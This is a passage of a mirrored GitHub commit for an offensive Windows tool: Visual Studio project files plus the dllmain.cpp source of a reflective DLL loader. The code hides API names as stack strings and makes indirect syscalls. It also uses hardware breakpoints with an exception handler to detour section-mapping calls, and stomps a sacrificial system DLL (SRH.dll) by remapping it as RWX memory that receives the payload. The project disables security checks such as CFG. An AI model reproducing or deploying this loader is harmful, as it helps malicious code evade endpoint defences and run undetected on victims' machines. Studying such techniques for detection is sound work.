mirror of
https://github.com/oldboy21/RflDllOb
synced 2026-06-06 16:24:34 +00:00
new year, better sleap
This commit is contained in:
@@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.7.34221.43
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ReflectiveDLL", "ReflectiveDLL.vcxproj", "{F789BB9F-677E-41A1-8733-231EDD86E249}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{F789BB9F-677E-41A1-8733-231EDD86E249}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{F789BB9F-677E-41A1-8733-231EDD86E249}.Debug|x64.Build.0 = Debug|x64
|
||||
{F789BB9F-677E-41A1-8733-231EDD86E249}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{F789BB9F-677E-41A1-8733-231EDD86E249}.Debug|x86.Build.0 = Debug|Win32
|
||||
{F789BB9F-677E-41A1-8733-231EDD86E249}.Release|x64.ActiveCfg = Release|x64
|
||||
{F789BB9F-677E-41A1-8733-231EDD86E249}.Release|x64.Build.0 = Release|x64
|
||||
{F789BB9F-677E-41A1-8733-231EDD86E249}.Release|x86.ActiveCfg = Release|Win32
|
||||
{F789BB9F-677E-41A1-8733-231EDD86E249}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {A58B8D87-B75B-44F7-8BF7-F7910B351467}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,178 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>17.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{f789bb9f-677e-41a1-8733-231edd86e249}</ProjectGuid>
|
||||
<RootNamespace>ReflectiveDLL</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<GenerateManifest>false</GenerateManifest>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;REFLECTIVEDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;REFLECTIVEDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;REFLECTIVEDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<SupportJustMyCode>false</SupportJustMyCode>
|
||||
<DebugInformationFormat>None</DebugInformationFormat>
|
||||
<ExceptionHandling>false</ExceptionHandling>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<ControlFlowGuard>false</ControlFlowGuard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;REFLECTIVEDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<DebugInformationFormat>None</DebugInformationFormat>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<ExceptionHandling>false</ExceptionHandling>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
|
||||
<EntryPointSymbol>DllMain</EntryPointSymbol>
|
||||
<LinkStatus>false</LinkStatus>
|
||||
<LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="dllmain.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="syscall.asm" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="headers.h" />
|
||||
<ClInclude Include="hwbp.h" />
|
||||
<ClInclude Include="misc.h" />
|
||||
<ClInclude Include="sleaping.h" />
|
||||
<ClInclude Include="swappala.h" />
|
||||
<ClInclude Include="syscalls.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,47 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Source Files\Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="dllmain.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="syscall.asm">
|
||||
<Filter>Source Files</Filter>
|
||||
</MASM>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="syscalls.h">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="hwbp.h">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="headers.h">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="misc.h">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="swappala.h">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="sleaping.h">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,7 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LocalDebuggerCommand>C:\Windows\System32\notepad.exe</LocalDebuggerCommand>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,695 @@
|
||||
// dllmain.cpp : Defines the entry point for the DLL application.
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
#include "headers.h"
|
||||
#include "hwbp.h"
|
||||
#include "misc.h"
|
||||
#include "sleaping.h"
|
||||
#include "syscalls.h"
|
||||
#include "swappala.h"
|
||||
|
||||
#define EXTERN_DLL_EXPORT extern "C" __declspec(dllexport)
|
||||
|
||||
|
||||
/*-------------------REFLECTIVE LOADER----------------------------*/
|
||||
|
||||
EXTERN_DLL_EXPORT PBYTE ReflectiveFunction() {
|
||||
|
||||
|
||||
|
||||
/*--------------CREATE VARIABLES AND INITIALIZE FUNCTIONS--------------*/
|
||||
|
||||
//PE HEADERS VARS
|
||||
PIMAGE_DOS_HEADER pImgDosHdr = NULL;
|
||||
PIMAGE_NT_HEADERS pImgNtHdrs = NULL;
|
||||
IMAGE_OPTIONAL_HEADER ImgOptHdr = {0};
|
||||
IMAGE_FILE_HEADER ImgFileHdr = {0};
|
||||
PIMAGE_SECTION_HEADER* peSections = NULL;
|
||||
PIMAGE_IMPORT_DESCRIPTOR pImgImpDesc = NULL;
|
||||
PIMAGE_THUNK_DATA64 pOriginalFirstThunk = NULL;
|
||||
PIMAGE_THUNK_DATA64 pFirstThunk = NULL;
|
||||
PIMAGE_IMPORT_BY_NAME pImgImportByName = NULL;
|
||||
PIMAGE_BASE_RELOCATION pImgRelocation = NULL;
|
||||
PBASE_RELOCATION_ENTRY pRelocEntry = NULL;
|
||||
PIMAGE_RUNTIME_FUNCTION_ENTRY pImgRuntimeFunctionEntry = NULL;
|
||||
PIMAGE_TLS_DIRECTORY pImgTlsDirectory = NULL;
|
||||
PIMAGE_TLS_CALLBACK* arrayOfCallbacks = NULL;
|
||||
|
||||
|
||||
//fix IAT vars
|
||||
HMODULE dll = NULL;
|
||||
FARPROC funcAddress = NULL;
|
||||
int ordinal = 0;
|
||||
|
||||
|
||||
//base relocation vars
|
||||
ULONG_PTR delta = NULL;
|
||||
int entriesCount;
|
||||
|
||||
//fix Memory Protection variables
|
||||
DWORD dwProtection = 0x00;
|
||||
|
||||
|
||||
//locate DLL in memory
|
||||
PDLL_HEADER pDllHeader = NULL;
|
||||
ULONG_PTR dllBaseAddress = NULL;
|
||||
|
||||
//new PE in memory and memory to free once loaded
|
||||
PBYTE pebase = NULL;
|
||||
PBYTE toFree = NULL;
|
||||
|
||||
//function prototpyes
|
||||
fnLoadLibraryA LLA = NULL; //to fix the IAT
|
||||
fnRtlAddFunctionTable RAFT = NULL;
|
||||
fnLoadLibraryExA LLEA = NULL;//to load sac dll without resolving imports
|
||||
|
||||
//stack strings for PIC
|
||||
WCHAR kernel32[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };
|
||||
WCHAR ntdll[] = { L'n', L't', L'd', L'l', L'l', L'.', L'd', L'l', L'l', L'\0' };
|
||||
WCHAR user32[] = { L'U', L's', L'e', L'r', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };
|
||||
CHAR rtladdFunctionTable[] = { 'R', 't', 'l', 'A', 'd', 'd', 'F', 'u', 'n', 'c', 't', 'i', 'o', 'n', 'T', 'a', 'b', 'l', 'e', '\0' };
|
||||
CHAR loadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' };
|
||||
CHAR loadLibraryEx[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'E', 'x', 'A','\0' };
|
||||
CHAR getProcessId[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'e', 's', 's', 'I', 'd', '\0' };
|
||||
|
||||
|
||||
//stack strings and variables for HBP
|
||||
CHAR addVectoredExceptionHandler[] = { 'A', 'd', 'd', 'V', 'e', 'c', 't', 'o', 'r', 'e', 'd', 'E', 'x', 'c', 'e', 'p', 't', 'i', 'o', 'n', 'H', 'a', 'n', 'd', 'l', 'e', 'r', '\0' };
|
||||
CHAR removeVectoredExceptionHandler[] = { 'R', 'e', 'm', 'o', 'v', 'e', 'V', 'e', 'c', 't', 'o', 'r', 'e', 'd', 'E', 'x', 'c', 'e', 'p', 't', 'i', 'o', 'n', 'H', 'a', 'n', 'd', 'l', 'e', 'r', '\0' };
|
||||
PVOID zwCloseAddress = NULL;
|
||||
PVOID NtMapViewOfSectionAddress = NULL;
|
||||
PVOID NtCreateSectionAddress = NULL;
|
||||
CHAR zwclose[] = { 'Z','w','C','l','o','s','e','\0' };
|
||||
CHAR ntMapViewOfSection[] = { 'N', 't', 'M', 'a', 'p', 'V', 'i', 'e', 'w', 'O', 'f', 'S', 'e', 'c', 't', 'i', 'o', 'n', '\0' };
|
||||
CHAR ntCreateSection[] = { 'N', 't', 'C', 'r', 'e', 'a', 't', 'e', 'S', 'e', 'c', 't', 'i', 'o', 'n', '\0' };
|
||||
|
||||
|
||||
//NT status variable for syscall return code
|
||||
NTSTATUS STATUS = 0x00;
|
||||
|
||||
fnAddVectoredExceptionHanlder AVEH = (fnAddVectoredExceptionHanlder)GPAR(GMHR(kernel32), addVectoredExceptionHandler);
|
||||
fnRemoveVectoredExceptionHandler RVEH = (fnRemoveVectoredExceptionHandler)GPAR(GMHR(kernel32), removeVectoredExceptionHandler);
|
||||
|
||||
//these i do not need to indirect syscall-em
|
||||
if ((LLEA = (fnLoadLibraryExA)GPAR(GMHR(kernel32), loadLibraryEx)) == NULL)
|
||||
return FALSE;
|
||||
if ((LLA = (fnLoadLibraryA)GPAR(GMHR(kernel32), loadLibraryA)) == NULL)
|
||||
return FALSE;
|
||||
if (!(RAFT = (fnRtlAddFunctionTable)GPAR(GMHR(kernel32), rtladdFunctionTable)))
|
||||
return FALSE;
|
||||
|
||||
|
||||
/*----------------SYSCALL ENUMERATION-------------------------------------*/
|
||||
SYSCALL_ENTRY zwFunctions[AmountofSyscalls] = { 0 };
|
||||
RetrieveZwFunctions(GMHR(ntdll), zwFunctions);
|
||||
|
||||
/*--------------SET HARDWARE BREAKPOINT AND DETOUR FUNCTIONS---------------------*/
|
||||
|
||||
|
||||
AVEH(1, (PVECTORED_EXCEPTION_HANDLER)&VectorHandler);
|
||||
|
||||
zwCloseAddress = GPAR(GMHR(ntdll), zwclose);
|
||||
NtMapViewOfSectionAddress = GPAR(GMHR(ntdll), ntMapViewOfSection);
|
||||
NtCreateSectionAddress = GPAR(GMHR(ntdll), ntCreateSection);
|
||||
if (zwCloseAddress != NULL && NtMapViewOfSectionAddress != NULL && NtCreateSectionAddress != NULL){
|
||||
|
||||
setHardwareBreakpoint(zwCloseAddress, NtMapViewOfSectionAddress, NtCreateSectionAddress, zwFunctions);
|
||||
}
|
||||
/*--------------BRUTE FORCE REFLECTIVE DLL BASE ADDRESS--------------*/
|
||||
|
||||
dllBaseAddress = (ULONG_PTR)ReflectiveFunction;
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
pDllHeader = (PDLL_HEADER)dllBaseAddress;
|
||||
|
||||
if (pDllHeader->header == 0x44434241) {
|
||||
|
||||
pImgDosHdr = (PIMAGE_DOS_HEADER)(dllBaseAddress + (16 * sizeof(CHAR)));
|
||||
if (pImgDosHdr->e_magic == IMAGE_DOS_SIGNATURE)
|
||||
{
|
||||
pImgNtHdrs = (PIMAGE_NT_HEADERS)(dllBaseAddress + pImgDosHdr->e_lfanew + (16 * sizeof(CHAR)));
|
||||
|
||||
if (pImgNtHdrs->Signature == IMAGE_NT_SIGNATURE) {
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
dllBaseAddress--;
|
||||
}
|
||||
//here it still needs to be adjusted because there are the headers in between, check some lines later
|
||||
if (!dllBaseAddress)
|
||||
return FALSE;
|
||||
|
||||
//pointer memory to be freed once loaded
|
||||
toFree = (PBYTE)dllBaseAddress;
|
||||
|
||||
//setting some headers for new steps
|
||||
PIMAGE_OPTIONAL_HEADER pImgOptHdr = (PIMAGE_OPTIONAL_HEADER)((ULONG_PTR)pImgNtHdrs + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER));
|
||||
ImgFileHdr = pImgNtHdrs->FileHeader;
|
||||
|
||||
/*------------------------------LOADING SACRIFICAL DLL---------------------*/
|
||||
|
||||
PBYTE sacDllBase = NULL;
|
||||
CHAR sacDllPath[] = { 'C', ':', '\\', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\','S','R','H','.','d','l','l','\0' };
|
||||
|
||||
HMODULE sacModule = NULL;
|
||||
sacModule = LLEA(sacDllPath, NULL, DONT_RESOLVE_DLL_REFERENCES);
|
||||
|
||||
|
||||
/*------------------------------UNSET HARDWARE BREAKPOINT---------------------*/
|
||||
|
||||
unsetHardwareBreakpoint(1);
|
||||
unsetHardwareBreakpoint(2);
|
||||
unsetHardwareBreakpoint(3);
|
||||
|
||||
RVEH((PVECTORED_EXCEPTION_HANDLER)&VectorHandler);
|
||||
|
||||
sacDllBase = (PBYTE)sacModule;
|
||||
|
||||
/*--------------------PARSE SACRIFICIAL DLL TO RETRIEVE THE SIZE--------------*/
|
||||
|
||||
PIMAGE_DOS_HEADER pImgDosHdrSacDll = NULL;
|
||||
PIMAGE_NT_HEADERS pImgNTHdrSacDll = NULL;
|
||||
PVOID memAddressForSyscallSacDll = NULL;
|
||||
SIZE_T payloadSizeforSyscallSacDll = NULL;
|
||||
ULONG uOldProtectionSacDll = NULL;
|
||||
|
||||
if (sacDllBase == NULL) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
pImgDosHdrSacDll = (PIMAGE_DOS_HEADER)sacDllBase;
|
||||
if (pImgDosHdrSacDll->e_magic != IMAGE_DOS_SIGNATURE) {
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
pImgNTHdrSacDll = (PIMAGE_NT_HEADERS)(sacDllBase + pImgDosHdrSacDll->e_lfanew);
|
||||
if (pImgNTHdrSacDll->Signature != IMAGE_NT_SIGNATURE)
|
||||
return NULL;
|
||||
|
||||
memAddressForSyscallSacDll = (PVOID)sacDllBase;
|
||||
payloadSizeforSyscallSacDll = (SIZE_T)pImgNTHdrSacDll->OptionalHeader.SizeOfImage;
|
||||
|
||||
/*----------------RETRIEVE THE DLL HANDLE WITH KERNEL OBJ ENUM---------------------*/
|
||||
HANDLE sacDllHandle = FindSectionHandle(zwFunctions, (fnGetProcessId)GPAR(GMHR(kernel32), getProcessId));
|
||||
|
||||
|
||||
/*------------------SWAPPALA STUFF--------------------------*/
|
||||
|
||||
PVOID sacDll = NULL;
|
||||
HANDLE dllFile = NULL;
|
||||
HANDLE sectionHandle = NULL;
|
||||
SIZE_T viewSize = NULL;
|
||||
payloadSizeforSyscallSacDll = payloadSizeforSyscallSacDll + 24;
|
||||
LARGE_INTEGER sectionSize = { payloadSizeforSyscallSacDll };
|
||||
|
||||
|
||||
if (STATUS = ZwCreateSection(§ionHandle, SECTION_ALL_ACCESS, NULL, §ionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL, zwFunctions[ZwCreateSectionF].SSN, zwFunctions[ZwCreateSectionF].sysretAddr) != 0) {
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
if (STATUS = ZwUnmapViewOfSection(((HANDLE)(LONG_PTR)-1), sacModule, zwFunctions[ZwUnmapViewOfSectionF].SSN, zwFunctions[ZwUnmapViewOfSectionF].sysretAddr) != 0) {
|
||||
|
||||
return FALSE;
|
||||
|
||||
}
|
||||
sacDll = (PVOID)sacModule;
|
||||
|
||||
if (STATUS = ZwMapViewOfSection(sectionHandle, ((HANDLE)(LONG_PTR)-1), &sacDll, NULL, NULL, NULL, &payloadSizeforSyscallSacDll, ViewUnmap, NULL, PAGE_EXECUTE_READWRITE, zwFunctions[ZwMapViewOfSectionF].SSN, zwFunctions[ZwMapViewOfSectionF].sysretAddr) != 0) {
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
//fixing the baseAddress including the 16 bytes of header
|
||||
dllBaseAddress = dllBaseAddress + (16 * sizeof(CHAR));
|
||||
|
||||
/*--------------COPY SECTIONS IN MEMORY---------------------------*/
|
||||
|
||||
//copy needed information for the DLL once loaded
|
||||
pebase = (PBYTE)sacDll;
|
||||
custom_memcpy_classic(pebase, &sacDllHandle, sizeof(HANDLE));
|
||||
pebase += sizeof(HANDLE);
|
||||
custom_memcpy_classic(pebase, §ionHandle, sizeof(HANDLE));
|
||||
pebase += sizeof(HANDLE);
|
||||
custom_memcpy_classic(pebase, &payloadSizeforSyscallSacDll, sizeof(SIZE_T));
|
||||
pebase += sizeof(SIZE_T);
|
||||
custom_memcpy_classic(pebase, &toFree, sizeof(PBYTE));
|
||||
pebase += sizeof(PBYTE);
|
||||
|
||||
//retrieve sections information
|
||||
PVOID pesectionTemp = NULL;
|
||||
SIZE_T sSize = 0x00;
|
||||
sSize = sizeof(PIMAGE_SECTION_HEADER) * ImgFileHdr.NumberOfSections;
|
||||
|
||||
//this can be changed but pretty tired, not need to allocate memory
|
||||
if ((STATUS = ZwAllocateVirtualMemory(((HANDLE)(LONG_PTR)-1), &pesectionTemp, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE, zwFunctions[ZwAllocateVirtualMemoryF].SSN, zwFunctions[ZwAllocateVirtualMemoryF].sysretAddr)) != 0) {
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
peSections = (PIMAGE_SECTION_HEADER*)pesectionTemp;
|
||||
|
||||
if (peSections == NULL)
|
||||
return FALSE;
|
||||
|
||||
|
||||
for (int i = 0; i < ImgFileHdr.NumberOfSections; i++) {
|
||||
peSections[i] = (PIMAGE_SECTION_HEADER)(((PBYTE)pImgNtHdrs) + 4 + 20 + ImgFileHdr.SizeOfOptionalHeader + (i * IMAGE_SIZEOF_SECTION_HEADER));
|
||||
}
|
||||
|
||||
for (int i = 0; i < ImgFileHdr.NumberOfSections; i++) {
|
||||
|
||||
//load sections in memory but not the ReflectiveLoader function
|
||||
custom_memcpy(
|
||||
(PVOID)(pebase + peSections[i]->VirtualAddress),// Destination
|
||||
(PVOID)(dllBaseAddress + peSections[i]->PointerToRawData),// Source
|
||||
peSections[i]->SizeOfRawData,// Size
|
||||
(PBYTE)(ReflectiveFunction),//reflective-function-pointer
|
||||
pDllHeader->funcSize//size of reflective function
|
||||
);
|
||||
}
|
||||
|
||||
/*--------------FIX IAT TABLE--------------*/
|
||||
|
||||
